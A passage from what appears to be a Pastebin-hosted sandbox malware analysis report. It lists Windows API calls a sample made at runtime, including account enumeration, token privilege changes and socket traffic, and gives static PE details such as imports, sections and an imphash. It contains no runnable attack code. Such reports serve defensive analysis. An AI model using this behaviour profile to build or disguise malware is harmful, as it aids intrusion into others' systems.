  875. "apphelp.dll.SdbReleaseDatabase",
  876. "mpr.dll.WNetGetConnectionW",
  877. "ole32.dll.CoCreateGuid",
  878. "rpcrt4.dll.RpcStringBindingComposeW",
  879. "rpcrt4.dll.RpcBindingFromStringBindingW",
  880. "rpcrt4.dll.RpcStringFreeW",
  881. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  882. "rpcrt4.dll.NdrClientCall2",
  883. "ntdll.dll.RtlDllShutdownInProgress",
  884. "comctl32.dll.#329",
  885. "ole32.dll.OleUninitialize",
  886. "ole32.dll.CoRevokeInitializeSpy",
  887. "comctl32.dll.#388",
  888. "oleaut32.dll.#500",
  889. "kernel32.dll.SetThreadUILanguage",
  890. "kernel32.dll.CopyFileExW",
  891. "kernel32.dll.IsDebuggerPresent",
  892. "kernel32.dll.SetConsoleInputExeNameW",
  893. "advapi32.dll.SaferIdentifyLevel",
  894. "advapi32.dll.SaferComputeTokenFromLevel",
  895. "advapi32.dll.SaferCloseLevel",
  896. "kernel32.dll.SortGetHandle",
  897. "kernel32.dll.SortCloseHandle",
  898. "sechost.dll.LookupAccountNameLocalW",
  899. "advapi32.dll.LookupAccountSidW",
  900. "sechost.dll.LookupAccountSidLocalW",
  901. "winsta.dll.WinStationFreeMemory",
  902. "winsta.dll.WinStationCloseServer",
  903. "winsta.dll.WinStationOpenServerW",
  904. "winsta.dll.WinStationFreeGAPMemory",
  905. "winsta.dll.WinStationGetAllProcesses",
  906. "winsta.dll.WinStationEnumerateProcesses",
  907. "kernel32.dll.GetThreadPreferredUILanguages",
  908. "kernel32.dll.SetThreadPreferredUILanguages",
  909. "kernel32.dll.LocaleNameToLCID",
  910. "kernel32.dll.GetLocaleInfoEx",
  911. "kernel32.dll.LCIDToLocaleName",
  912. "kernel32.dll.GetSystemDefaultLocaleName",
  913. "oleaut32.dll.#283",
  914. "oleaut32.dll.#284",
  915. "ntdll.dll.EtwUnregisterTraceGuids",
  916. "cryptsp.dll.CryptReleaseContext",
  917. "ole32.dll.CoGetClassObject",
  918. "ole32.dll.CoGetMarshalSizeMax",
  919. "ole32.dll.CoMarshalInterface",
  920. "ole32.dll.CoUnmarshalInterface",
  921. "ole32.dll.StringFromIID",
  922. "ole32.dll.CoGetPSClsid",
  923. "ole32.dll.CoReleaseMarshalData",
  924. "ole32.dll.DcomChannelSetHResult",
  925. "vssapi.dll.CreateWriter",
  926. "advapi32.dll.LookupAccountNameW",
  927. "samcli.dll.NetLocalGroupGetMembers",
  928. "samlib.dll.SamConnect",
  929. "rpcrt4.dll.NdrClientCall3",
  930. "rpcrt4.dll.RpcBindingFree",
  931. "samlib.dll.SamOpenDomain",
  932. "samlib.dll.SamLookupNamesInDomain",
  933. "samlib.dll.SamOpenAlias",
  934. "samlib.dll.SamFreeMemory",
  935. "samlib.dll.SamCloseHandle",
  936. "samlib.dll.SamGetMembersInAlias",
  937. "netutils.dll.NetApiBufferFree",
  938. "samlib.dll.SamEnumerateDomainsInSamServer",
  939. "samlib.dll.SamLookupDomainInSamServer",
  940. "ole32.dll.StringFromCLSID",
  941. "oleaut32.dll.#4",
  942. "oleaut32.dll.#7",
  943. "propsys.dll.VariantToPropVariant",
  944. "wbemcore.dll.Reinitialize",
  945. "wbemsvc.dll.DllGetClassObject",
  946. "wbemsvc.dll.DllCanUnloadNow",
  947. "authz.dll.AuthzInitializeContextFromToken",
  948. "authz.dll.AuthzInitializeObjectAccessAuditEvent2",
  949. "authz.dll.AuthzAccessCheck",
  950. "authz.dll.AuthzFreeAuditEvent",
  951. "authz.dll.AuthzFreeContext",
  952. "authz.dll.AuthzInitializeResourceManager",
  953. "authz.dll.AuthzFreeResourceManager",
  954. "rpcrt4.dll.RpcBindingCreateW",
  955. "rpcrt4.dll.RpcBindingBind",
  956. "rpcrt4.dll.I_RpcMapWin32Status",
  957. "advapi32.dll.EventRegister",
  958. "advapi32.dll.EventUnregister",
  959. "advapi32.dll.EventWrite",
  960. "kernel32.dll.RegSetValueExW",
  961. "kernel32.dll.RegQueryValueExW",
  962. "wmisvc.dll.IsImproperShutdownDetected",
  963. "wevtapi.dll.EvtRender",
  964. "wevtapi.dll.EvtNext",
  965. "wevtapi.dll.EvtClose",
  966. "wevtapi.dll.EvtQuery",
  967. "wevtapi.dll.EvtCreateRenderContext",
  968. "rpcrt4.dll.RpcBindingSetOption",
  969. "ole32.dll.CoCreateFreeThreadedMarshaler",
  970. "ole32.dll.CreateStreamOnHGlobal",
  971. "advapi32.dll.RegCreateKeyExW",
  972. "advapi32.dll.RegSetValueExW",
  973. "cryptsp.dll.CryptAcquireContextW",
  974. "cryptsp.dll.CryptGenRandom",
  975. "kernelbase.dll.InitializeAcl",
  976. "kernelbase.dll.AddAce",
  977. "sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
  978. "kernel32.dll.IsThreadAFiber",
  979. "kernel32.dll.OpenProcessToken",
  980. "kernelbase.dll.GetTokenInformation",
  981. "kernelbase.dll.DuplicateTokenEx",
  982. "kernelbase.dll.AdjustTokenPrivileges",
  983. "kernelbase.dll.AllocateAndInitializeSid",
  984. "kernelbase.dll.CheckTokenMembership",
  985. "kernel32.dll.SetThreadToken",
  986. "oleaut32.dll.#285",
  987. "advapi32.dll.RegOpenKeyW",
  988. "oleaut32.dll.#12",
  989. "oleaut32.dll.#286",
  990. "ole32.dll.CLSIDFromString",
  991. "oleaut32.dll.#17",
  992. "oleaut32.dll.#20",
  993. "oleaut32.dll.#19",
  994. "oleaut32.dll.#25",
  995. "authz.dll.AuthzInitializeContextFromSid",
  996. "ole32.dll.CoRevertToSelf",
  997. "advapi32.dll.LogonUserExExW",
  998. "sspicli.dll.LogonUserExExW",
  999. "ole32.dll.CoGetCallContext",
  1000. "ole32.dll.CoImpersonateClient",
  1001. "oleaut32.dll.#8",
  1002. "ole32.dll.CoSwitchCallContext",
  1003. "oleaut32.dll.#287",
  1004. "oleaut32.dll.#288",
  1005. "oleaut32.dll.#289",
  1006. "fastprox.dll.DllGetClassObject",
  1007. "fastprox.dll.DllCanUnloadNow",
  1008. "oleaut32.dll.#290",
  1009. "ntdll.dll.RtlInitUnicodeString",
  1010. "ntdll.dll.RtlFreeUnicodeString",
  1011. "ntdll.dll.NtSetSystemEnvironmentValue",
  1012. "ntdll.dll.NtQuerySystemEnvironmentValue",
  1013. "ntdll.dll.NtCreateFile",
  1014. "ntdll.dll.NtQuerySystemInformation",
  1015. "ntdll.dll.NtQueryDirectoryObject",
  1016. "ntdll.dll.NtQueryObject",
  1017. "ntdll.dll.NtOpenDirectoryObject",
  1018. "ntdll.dll.NtQueryInformationProcess",
  1019. "ntdll.dll.NtQueryInformationToken",
  1020. "ntdll.dll.NtOpenFile",
  1021. "ntdll.dll.NtClose",
  1022. "ntdll.dll.NtFsControlFile",
  1023. "ntdll.dll.NtQueryVolumeInformationFile",
  1024. "advapi32.dll.LookupPrivilegeValueW",
  1025. "winbrand.dll.BrandingLoadString",
  1026. "shell32.dll.#66",
  1027. "comctl32.dll.#385",
  1028. "comctl32.dll.#336",
  1029. "comctl32.dll.#321",
  1030. "comctl32.dll.#333",
  1031. "linkinfo.dll.CreateLinkInfoW",
  1032. "user32.dll.IsCharAlphaW",
  1033. "user32.dll.CharPrevW",
  1034. "ntshrui.dll.GetNetResourceFromLocalPathW",
  1035. "srvcli.dll.NetShareEnum",
  1036. "cscapi.dll.CscNetApiGetInterface",
  1037. "slc.dll.SLGetWindowsInformationDWORD",
  1038. "shlwapi.dll.PathRemoveFileSpecW",
  1039. "linkinfo.dll.DestroyLinkInfo",
  1040. "propsys.dll.PropVariantToBoolean",
  1041. "advapi32.dll.RegQueryInfoKeyW",
  1042. "advapi32.dll.RegEnumKeyExW",
  1043. "advapi32.dll.RegEnumValueW",
  1044. "advapi32.dll.RegQueryValueExW",
  1045. "kernel32.dll.QueryActCtxW",
  1046. "shlwapi.dll.UrlIsW",
  1047. "kernel32.dll.FlsAlloc",
  1048. "kernel32.dll.FlsGetValue",
  1049. "kernel32.dll.FlsSetValue",
  1050. "kernel32.dll.FlsFree",
  1051. "kernel32.dll.InitializeCriticalSectionAndSpinCount",
  1052. "msvcrt.dll._set_error_mode",
  1053. "msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z",
  1054. "kernel32.dll.FindActCtxSectionStringW",
  1055. "kernel32.dll.GetSystemWindowsDirectoryW",
  1056. "mscoree.dll.GetProcessExecutableHeap",
  1057. "mscorwks.dll.DllGetClassObjectInternal",
  1058. "mscorwks.dll.GetCLRFunction",
  1059. "advapi32.dll.RegisterTraceGuidsW",
  1060. "advapi32.dll.UnregisterTraceGuids",
  1061. "advapi32.dll.GetTraceLoggerHandle",
  1062. "advapi32.dll.GetTraceEnableLevel",
  1063. "advapi32.dll.GetTraceEnableFlags",
  1064. "advapi32.dll.TraceEvent",
  1065. "mscoree.dll.IEE",
  1066. "mscorwks.dll.IEE",
  1067. "mscoree.dll.GetStartupFlags",
  1068. "mscoree.dll.GetHostConfigurationFile",
  1069. "mscoree.dll.GetCORSystemDirectory",
  1070. "ntdll.dll.RtlUnwind",
  1071. "kernel32.dll.IsWow64Process",
  1072. "advapi32.dll.AllocateAndInitializeSid",
  1073. "advapi32.dll.OpenProcessToken",
  1074. "advapi32.dll.GetTokenInformation",
  1075. "advapi32.dll.InitializeAcl",
  1076. "advapi32.dll.AddAccessAllowedAce",
  1077. "advapi32.dll.FreeSid",
  1078. "kernel32.dll.SetThreadStackGuarantee",
  1079. "kernel32.dll.AddVectoredContinueHandler",
  1080. "kernel32.dll.RemoveVectoredContinueHandler",
  1081. "advapi32.dll.ConvertSidToStringSidW",
  1082. "kernel32.dll.FlushProcessWriteBuffers",
  1083. "kernel32.dll.GetWriteWatch",
  1084. "kernel32.dll.ResetWriteWatch",
  1085. "kernel32.dll.CreateMemoryResourceNotification",
  1086. "kernel32.dll.QueryMemoryResourceNotification",
  1087. "mscoree.dll._CorExeMain",
  1088. "mscoree.dll._CorImageUnloading",
  1089. "mscoree.dll._CorValidateImage",
  1090. "ole32.dll.CoGetContextToken",
  1091. "oleaut32.dll.#149",
  1092. "kernel32.dll.GetUserDefaultUILanguage",
  1093. "kernel32.dll.GetVersionExW",
  1094. "kernel32.dll.GetFullPathNameW",
  1095. "kernel32.dll.SetErrorMode",
  1096. "kernel32.dll.GetFileAttributesExW",
  1097. "version.dll.GetFileVersionInfoSizeW",
  1098. "version.dll.GetFileVersionInfoW",
  1099. "version.dll.VerQueryValueW",
  1100. "kernel32.dll.lstrlen",
  1101. "kernel32.dll.lstrlenW",
  1102. "mscoree.dll.ND_RI2",
  1103. "kernel32.dll.lstrcpy",
  1104. "kernel32.dll.lstrcpyW",
  1105. "version.dll.VerLanguageNameW",
  1106. "kernel32.dll.CloseHandle",
  1107. "kernel32.dll.GetCurrentProcessId",
  1108. "kernel32.dll.GetCurrentProcess",
  1109. "advapi32.dll.AdjustTokenPrivileges",
  1110. "kernel32.dll.OpenProcess",
  1111. "psapi.dll.EnumProcessModules",
  1112. "psapi.dll.GetModuleInformation",
  1113. "psapi.dll.GetModuleBaseNameW",
  1114. "psapi.dll.GetModuleFileNameExW",
  1115. "kernel32.dll.GetExitCodeProcess",
  1116. "user32.dll.EnumWindows",
  1117. "user32.dll.GetWindowThreadProcessId",
  1118. "kernel32.dll.WerSetFlags",
  1119. "kernel32.dll.GetUserDefaultLocaleName",
  1120. "kernel32.dll.GetEnvironmentVariableW",
  1121. "advapi32.dll.CryptAcquireContextA",
  1122. "advapi32.dll.CryptReleaseContext",
  1123. "advapi32.dll.CryptCreateHash",
  1124. "advapi32.dll.CryptDestroyHash",
  1125. "advapi32.dll.CryptHashData",
  1126. "advapi32.dll.CryptGetHashParam",
  1127. "advapi32.dll.CryptImportKey",
  1128. "advapi32.dll.CryptExportKey",
  1129. "advapi32.dll.CryptGenKey",
  1130. "advapi32.dll.CryptGetKeyParam",
  1131. "advapi32.dll.CryptDestroyKey",
  1132. "advapi32.dll.CryptVerifySignatureA",
  1133. "advapi32.dll.CryptSignHashA",
  1134. "advapi32.dll.CryptGetProvParam",
  1135. "advapi32.dll.CryptGetUserKey",
  1136. "advapi32.dll.CryptEnumProvidersA",
  1137. "cryptsp.dll.CryptAcquireContextA",
  1138. "cryptsp.dll.CryptImportKey",
  1139. "cryptsp.dll.CryptExportKey",
  1140. "cryptsp.dll.CryptCreateHash",
  1141. "cryptsp.dll.CryptHashData",
  1142. "cryptsp.dll.CryptGetHashParam",
  1143. "cryptsp.dll.CryptDestroyHash",
  1144. "cryptsp.dll.CryptDestroyKey",
  1145. "mscoree.dll.GetTokenForVTableEntry",
  1146. "mscoree.dll.SetTargetForVTableEntry",
  1147. "mscoree.dll.GetTargetForVTableEntry",
  1148. "culture.dll.ConvertLangIdToCultureName",
  1149. "kernel32.dll.CreateFileW",
  1150. "kernel32.dll.GetConsoleScreenBufferInfo",
  1151. "kernel32.dll.LocalFree",
  1152. "kernel32.dll.LocalAlloc",
  1153. "mscoree.dll.ND_RI4",
  1154. "advapi32.dll.DuplicateTokenEx",
  1155. "advapi32.dll.CheckTokenMembership",
  1156. "kernel32.dll.GetConsoleTitleW",
  1157. "kernel32.dll.SetConsoleTitleW",
  1158. "kernel32.dll.SetConsoleCtrlHandler",
  1159. "kernel32.dll.CreateEventW",
  1160. "ntdll.dll.WinSqmIsOptedIn",
  1161. "kernel32.dll.ExpandEnvironmentStringsW",
  1162. "shfolder.dll.SHGetFolderPathW",
  1163. "kernel32.dll.SetEnvironmentVariableW",
  1164. "kernel32.dll.GetACP",
  1165. "kernel32.dll.UnmapViewOfFile",
  1166. "kernel32.dll.GetFileType",
  1167. "kernel32.dll.ReadFile",
  1168. "kernel32.dll.GetSystemInfo",
  1169. "kernel32.dll.VirtualQuery",
  1170. "kernel32.dll.SwitchToThread",
  1171. "kernel32.dll.GlobalMemoryStatusEx",
  1172. "secur32.dll.GetUserNameExW",
  1173. "advapi32.dll.GetUserNameW",
  1174. "kernel32.dll.ReleaseMutex",
  1175. "advapi32.dll.RegisterEventSourceW",
  1176. "advapi32.dll.DeregisterEventSource",
  1177. "advapi32.dll.ReportEventW",
  1178. "kernel32.dll.GetLogicalDrives",
  1179. "kernel32.dll.GetDriveTypeW",
  1180. "kernel32.dll.GetVolumeInformationW",
  1181. "kernel32.dll.GetCurrentDirectoryW",
  1182. "kernel32.dll.GetLastError",
  1183. "mscorjit.dll.getJit",
  1184. "kernel32.dll.GetStdHandle",
  1185. "kernel32.dll.GetConsoleMode",
  1186. "kernel32.dll.SetEvent",
  1187. "kernel32.dll.GetConsoleOutputCP",
  1188. "gdi32.dll.TranslateCharsetInfo",
  1189. "kernel32.dll.SetConsoleTextAttribute",
  1190. "kernel32.dll.WriteConsoleW",
  1191. "mscoree.dll.CorExitProcess",
  1192. "mscorwks.dll.CorExitProcess",
  1193. "mscorwks.dll._CorDllMain",
  1194. "kernel32.dll.CreateActCtxW",
  1195. "kernel32.dll.AddRefActCtx",
  1196. "kernel32.dll.ReleaseActCtx",
  1197. "kernel32.dll.ActivateActCtx",
  1198. "kernel32.dll.DeactivateActCtx",
  1199. "kernel32.dll.GetCurrentActCtx",
  1200. "linkinfo.dll.IsValidLinkInfo",
  1201. "propsys.dll.PSGetNameFromPropertyKey",
  1202. "propsys.dll.PSStringFromPropertyKey",
  1203. "propsys.dll.InitVariantFromBuffer",
  1204. "propsys.dll.PropVariantToGUID",
  1205. "advapi32.dll.GetSecurityInfo",
  1206. "advapi32.dll.SetSecurityInfo",
  1207. "advapi32.dll.GetSecurityDescriptorControl",
  1208. "kernel32.dll.GetConsoleWindow",
  1209. "user32.dll.ShowWindow",
  1210. "kernel32.dll.GetModuleFileNameW",
  1211. "kernel32.dll.GetFileSize",
  1212. "rasapi32.dll.RasEnumConnectionsW",
  1213. "rtutils.dll.TraceRegisterExA",
  1214. "rtutils.dll.TracePrintfExA",
  1215. "sechost.dll.OpenSCManagerW",
  1216. "sechost.dll.OpenServiceW",
  1217. "sechost.dll.QueryServiceStatus",
  1218. "sechost.dll.CloseServiceHandle",
  1219. "ws2_32.dll.WSAStartup",
  1220. "ws2_32.dll.WSASocketW",
  1221. "ws2_32.dll.setsockopt",
  1222. "ws2_32.dll.WSAEventSelect",
  1223. "ws2_32.dll.ioctlsocket",
  1224. "ws2_32.dll.closesocket",
  1225. "kernel32.dll.GetComputerNameW",
  1226. "advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
  1227. "kernel32.dll.CreateFileMappingW",
  1228. "kernel32.dll.MapViewOfFile",
  1229. "advapi32.dll.CreateWellKnownSid",
  1230. "kernel32.dll.CreateMutexW",
  1231. "kernel32.dll.WaitForSingleObject",
  1232. "kernel32.dll.OpenMutexW",
  1233. "kernel32.dll.GetProcessTimes",
  1234. "ws2_32.dll.WSAIoctl",
  1235. "kernel32.dll.FormatMessageW",
  1236. "rasapi32.dll.RasConnectionNotificationW",
  1237. "advapi32.dll.RegOpenCurrentUser",
  1238. "advapi32.dll.RegNotifyChangeKeyValue",
  1239. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  1240. "sechost.dll.NotifyServiceStatusChangeA",
  1241. "kernel32.dll.ResetEvent",
  1242. "iphlpapi.dll.GetNetworkParams",
  1243. "dnsapi.dll.DnsQueryConfig",
  1244. "iphlpapi.dll.GetAdaptersAddresses",
  1245. "iphlpapi.dll.GetIpInterfaceEntry",
  1246. "iphlpapi.dll.GetBestInterfaceEx",
  1247. "ws2_32.dll.inet_addr",
  1248. "ws2_32.dll.getaddrinfo",
  1249. "ws2_32.dll.freeaddrinfo",
  1250. "ws2_32.dll.WSAConnect",
  1251. "ws2_32.dll.send",
  1252. "ws2_32.dll.recv",
  1253. "psapi.dll.EmptyWorkingSet",
  1254. "kernel32.dll.ReadConsoleW",
  1255. "ws2_32.dll.shutdown"
  1256. ]
  1257.  
  1258. [*] Static Analysis: {
  1259. "pe": {
  1260. "peid_signatures": null,
  1261. "imports": [
  1262. {
  1263. "imports": [
  1264. {
  1265. "name": "CloseHandle",
  1266. "address": "0x40c000"
  1267. },
  1268. {
  1269. "name": "WaitForSingleObject",
  1270. "address": "0x40c004"
  1271. },
  1272. {
  1273. "name": "Sleep",
  1274. "address": "0x40c008"
  1275. },
  1276. {
  1277. "name": "CreateDirectoryA",
  1278. "address": "0x40c00c"
  1279. },
  1280. {
  1281. "name": "GetTempPathA",
  1282. "address": "0x40c010"
  1283. },
  1284. {
  1285. "name": "GetModuleFileNameA",
  1286. "address": "0x40c014"
  1287. },
  1288. {
  1289. "name": "GetTickCount",
  1290. "address": "0x40c018"
  1291. },
  1292. {
  1293. "name": "LCMapStringA",
  1294. "address": "0x40c01c"
  1295. },
  1296. {
  1297. "name": "SetEndOfFile",
  1298. "address": "0x40c020"
  1299. },
  1300. {
  1301. "name": "LoadLibraryA",
  1302. "address": "0x40c024"
  1303. },
  1304. {
  1305. "name": "GetOEMCP",
  1306. "address": "0x40c028"
  1307. },
  1308. {
  1309. "name": "GetLastError",
  1310. "address": "0x40c02c"
  1311. },
  1312. {
  1313. "name": "DeleteFileA",
  1314. "address": "0x40c030"
  1315. },
  1316. {
  1317. "name": "ExitProcess",
  1318. "address": "0x40c034"
  1319. },
  1320. {
  1321. "name": "TerminateProcess",
  1322. "address": "0x40c038"
  1323. },
  1324. {
  1325. "name": "GetCurrentProcess",
  1326. "address": "0x40c03c"
  1327. },
  1328. {
  1329. "name": "GetModuleHandleA",
  1330. "address": "0x40c040"
  1331. },
  1332. {
  1333. "name": "GetStartupInfoA",
  1334. "address": "0x40c044"
  1335. },
  1336. {
  1337. "name": "GetCommandLineA",
  1338. "address": "0x40c048"
  1339. },
  1340. {
  1341. "name": "GetVersion",
  1342. "address": "0x40c04c"
  1343. },
  1344. {
  1345. "name": "HeapFree",
  1346. "address": "0x40c050"
  1347. },
  1348. {
  1349. "name": "SetFilePointer",
  1350. "address": "0x40c054"
  1351. },
  1352. {
  1353. "name": "SetHandleCount",
  1354. "address": "0x40c058"
  1355. },
  1356. {
  1357. "name": "GetStdHandle",
  1358. "address": "0x40c05c"
  1359. },
  1360. {
  1361. "name": "GetFileType",
  1362. "address": "0x40c060"
  1363. },
  1364. {
  1365. "name": "WriteFile",
  1366. "address": "0x40c064"
  1367. },
  1368. {
  1369. "name": "ReadFile",
  1370. "address": "0x40c068"
  1371. },
  1372. {
  1373. "name": "GetProcAddress",
  1374. "address": "0x40c06c"
  1375. },
  1376. {
  1377. "name": "UnhandledExceptionFilter",
  1378. "address": "0x40c070"
  1379. },
  1380. {
  1381. "name": "FreeEnvironmentStringsA",
  1382. "address": "0x40c074"
  1383. },
  1384. {
  1385. "name": "FreeEnvironmentStringsW",
  1386. "address": "0x40c078"
  1387. },
  1388. {
  1389. "name": "WideCharToMultiByte",
  1390. "address": "0x40c07c"
  1391. },
  1392. {
  1393. "name": "GetEnvironmentStrings",
  1394. "address": "0x40c080"
  1395. },
  1396. {
  1397. "name": "GetEnvironmentStringsW",
  1398. "address": "0x40c084"
  1399. },
  1400. {
  1401. "name": "HeapDestroy",
  1402. "address": "0x40c088"
  1403. },
  1404. {
  1405. "name": "HeapCreate",
  1406. "address": "0x40c08c"
  1407. },
  1408. {
  1409. "name": "VirtualFree",
  1410. "address": "0x40c090"
  1411. },
  1412. {
  1413. "name": "RtlUnwind",
  1414. "address": "0x40c094"
  1415. },
  1416. {
  1417. "name": "HeapAlloc",
  1418. "address": "0x40c098"
  1419. },
  1420. {
  1421. "name": "VirtualAlloc",
  1422. "address": "0x40c09c"
  1423. },
  1424. {
  1425. "name": "HeapReAlloc",
  1426. "address": "0x40c0a0"
  1427. },
  1428. {
  1429. "name": "SetStdHandle",
  1430. "address": "0x40c0a4"
  1431. },
  1432. {
  1433. "name": "FlushFileBuffers",
  1434. "address": "0x40c0a8"
  1435. },
  1436. {
  1437. "name": "MultiByteToWideChar",
  1438. "address": "0x40c0ac"
  1439. },
  1440. {
  1441. "name": "GetStringTypeA",
  1442. "address": "0x40c0b0"
  1443. },
  1444. {
  1445. "name": "GetStringTypeW",
  1446. "address": "0x40c0b4"
  1447. },
  1448. {
  1449. "name": "CreateFileA",
  1450. "address": "0x40c0b8"
  1451. },
  1452. {
  1453. "name": "GetCPInfo",
  1454. "address": "0x40c0bc"
  1455. },
  1456. {
  1457. "name": "GetACP",
  1458. "address": "0x40c0c0"
  1459. },
  1460. {
  1461. "name": "LCMapStringW",
  1462. "address": "0x40c0c4"
  1463. }
  1464. ],
  1465. "dll": "KERNEL32.dll"
  1466. },
  1467. {
  1468. "imports": [
  1469. {
  1470. "name": "ShellExecuteExA",
  1471. "address": "0x40c0cc"
  1472. }
  1473. ],
  1474. "dll": "SHELL32.dll"
  1475. },
  1476. {
  1477. "imports": [
  1478. {
  1479. "name": "timeGetTime",
  1480. "address": "0x40c0d4"
  1481. }
  1482. ],
  1483. "dll": "WINMM.dll"
  1484. }
  1485. ],
  1486. "digital_signers": null,
  1487. "exported_dll_name": null,
  1488. "actual_checksum": "0x0001da2c",
  1489. "overlay": {
  1490. "size": "0x000001de",
  1491. "offset": "0x0000f000"
  1492. },
  1493. "imagebase": "0x00400000",
  1494. "reported_checksum": "0x00000000",
  1495. "icon_hash": null,
  1496. "entrypoint": "0x00406074",
  1497. "timestamp": "2014-08-02 23:47:05",
  1498. "osversion": "4.0",
  1499. "sections": [
  1500. {
  1501. "name": ".text",
  1502. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  1503. "virtual_address": "0x00001000",
  1504. "size_of_data": "0x0000b000",
  1505. "entropy": "6.29",
  1506. "raw_address": "0x00001000",
  1507. "virtual_size": "0x0000a6ea",
  1508. "characteristics_raw": "0x60000020"
  1509. },
  1510. {
  1511. "name": ".rdata",
  1512. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  1513. "virtual_address": "0x0000c000",
  1514. "size_of_data": "0x00001000",
  1515. "entropy": "3.83",
  1516. "raw_address": "0x0000c000",
  1517. "virtual_size": "0x000009e6",
  1518. "characteristics_raw": "0x40000040"
  1519. },
  1520. {
  1521. "name": ".data",
  1522. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1523. "virtual_address": "0x0000d000",
  1524. "size_of_data": "0x00001000",
  1525. "entropy": "3.55",
  1526. "raw_address": "0x0000d000",
  1527. "virtual_size": "0x00b00cf8",
  1528. "characteristics_raw": "0xc0000040"
  1529. },
  1530. {
  1531. "name": ".rsrc",
  1532. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  1533. "virtual_address": "0x00b0e000",
  1534. "size_of_data": "0x00001000",
  1535. "entropy": "0.00",
  1536. "raw_address": "0x0000e000",
  1537. "virtual_size": "0x00000010",
  1538. "characteristics_raw": "0x40000040"
  1539. }
  1540. ],
  1541. "resources": [],
  1542. "dirents": [
  1543. {
  1544. "virtual_address": "0x00000000",
  1545. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  1546. "size": "0x00000000"
  1547. },
  1548. {
  1549. "virtual_address": "0x0000c528",
  1550. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  1551. "size": "0x00000050"
  1552. },
  1553. {
  1554. "virtual_address": "0x00b0e000",
  1555. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  1556. "size": "0x00000010"
  1557. },
  1558. {
  1559. "virtual_address": "0x00000000",
  1560. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  1561. "size": "0x00000000"
  1562. },
  1563. {
  1564. "virtual_address": "0x00000000",
  1565. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  1566. "size": "0x00000000"
  1567. },
  1568. {
  1569. "virtual_address": "0x00000000",
  1570. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  1571. "size": "0x00000000"
  1572. },
  1573. {
  1574. "virtual_address": "0x00000000",
  1575. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  1576. "size": "0x00000000"
  1577. },
  1578. {
  1579. "virtual_address": "0x00000000",
  1580. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  1581. "size": "0x00000000"
  1582. },
  1583. {
  1584. "virtual_address": "0x00000000",
  1585. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  1586. "size": "0x00000000"
  1587. },
  1588. {
  1589. "virtual_address": "0x00000000",
  1590. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  1591. "size": "0x00000000"
  1592. },
  1593. {
  1594. "virtual_address": "0x00000000",
  1595. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  1596. "size": "0x00000000"
  1597. },
  1598. {
  1599. "virtual_address": "0x00000000",
  1600. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  1601. "size": "0x00000000"
  1602. },
  1603. {
  1604. "virtual_address": "0x0000c000",
  1605. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  1606. "size": "0x000000dc"
  1607. },
  1608. {
  1609. "virtual_address": "0x00000000",
  1610. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  1611. "size": "0x00000000"
  1612. },
  1613. {
  1614. "virtual_address": "0x00000000",
  1615. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  1616. "size": "0x00000000"
  1617. },
  1618. {
  1619. "virtual_address": "0x00000000",
  1620. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  1621. "size": "0x00000000"
  1622. }
  1623. ],
  1624. "exports": [],
  1625. "guest_signers": {},
  1626. "imphash": "a04f32913d3ef18e07d2c1e3f373c264",
  1627. "icon_fuzzy": null,
  1628. "icon": null,
  1629. "pdbpath": null,
  1630. "imported_dll_count": 3,
  1631. "versioninfo": []
  1632. }
  1633. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!